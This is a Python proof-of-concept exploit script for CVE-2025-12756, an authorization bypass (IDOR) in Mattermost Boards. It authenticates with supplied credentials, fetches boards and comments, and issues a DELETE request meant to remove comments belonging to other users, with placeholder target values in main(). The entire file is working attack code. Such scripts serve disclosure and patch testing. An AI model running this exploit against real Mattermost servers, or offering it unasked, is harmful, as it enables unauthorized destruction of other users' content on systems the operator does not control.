#!/usr/bin/env python3
"""
CVE-2025-12756 PoC - Mattermost Boards Comment Deletion Authorization Bypass
This PoC demonstrates the IDOR vulnerability in Mattermost Boards comment deletion.
"""
import requests
import json
from typing import Dict, Optional
class MattermostBoardsExploit:
def __init__(self, target_url: str, username: str, password: str):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.token = None
self.user_id = None
self.board_id = None
self.target_comment_id = None
def authenticate(self) -> bool:
"""Authenticate to Mattermost and obtain access token."""
login_url = f"{self.target_url}/api/v4/users/login"
credentials = {
"login_id": self.username,
"password": self.password
}
try:
response = self.session.post(login_url, json=credentials, timeout=10)
if response.status_code == 200:
self.token = response.headers.get('Token')
self.session.headers.update({'Authorization': f'Bearer {self.token}'})
user_info = response.json()
self.user_id = user_info.get('id')
print(f"[+] Authentication successful. User ID: {self.user_id}")
return True
else:
print(f"[-] Authentication failed: {response.status_code}")
return False
except Exception as e:
print(f"[-] Authentication error: {str(e)}")
return False
def get_boards(self) -> Optional[list]:
"""Retrieve list of boards accessible to the current user."""
boards_url = f"{self.target_url}/api/v1/boards"
try:
response = self.session.get(boards_url, timeout=10)
if response.status_code == 200:
return response.json()
return None
except Exception as e:
print(f"[-] Error fetching boards: {str(e)}")
return None
def get_comments(self, card_id: str) -> Optional[list]:
"""Retrieve comments from a specific card."""
comments_url = f"{self.target_url}/api/v1/boards/{self.board_id}/cards/{card_id}/comments"
try:
response = self.session.get(comments_url, timeout=10)
if response.status_code == 200:
return response.json()
return None
except Exception as e:
print(f"[-] Error fetching comments: {str(e)}")
return None
def delete_comment(self, card_id: str, comment_id: str) -> bool:
"""
Attempt to delete a comment using IDOR vulnerability.
This will succeed even if the comment belongs to another user.
"""
delete_url = f"{self.target_url}/api/v1/boards/{self.board_id}/cards/{card_id}/comments/{comment_id}"
try:
response = self.session.delete(delete_url, timeout=10)
if response.status_code in [200, 204]:
print(f"[+] Successfully deleted comment: {comment_id}")
return True
elif response.status_code == 403:
print(f"[-] Forbidden: Access denied to delete comment {comment_id}")
return False
else:
print(f"[-] Delete failed with status: {response.status_code}")
return False
except Exception as e:
print(f"[-] Delete error: {str(e)}")
return False
def exploit(self, board_id: str, card_id: str, target_comment_id: str) -> bool:
"""
Execute the IDOR exploit to delete another user's comment.
"""
print(f"[*] Target Board ID: {board_id}")
print(f"[*] Target Card ID: {card_id}")
print(f"[*] Target Comment ID: {target_comment_id}")
return self.delete_comment(card_id, target_comment_id)
def main():
"""
Example usage of CVE-2025-12756 PoC.
Replace the placeholder values with actual target information.
"""
TARGET_URL = "https://mattermost.example.com"
USERNAME = "
[email protected]"
PASSWORD = "password123"
BOARD_ID = "board_id_here"
CARD_ID = "card_id_here"
TARGET_COMMENT_ID = "comment_id_of_other_user"
exploit = MattermostBoardsExploit(TARGET_URL, USERNAME, PASSWORD)
if exploit.authenticate():
exploit.board_id = BOARD_ID
success = exploit.exploit(BOARD_ID, CARD_ID, TARGET_COMMENT_ID)
if success:
print("[!] Vulnerability confirmed: IDOR allows unauthorized comment deletion")
else:
print("[-] Exploit failed or patch has been applied")
if __name__ == "__main__":
main()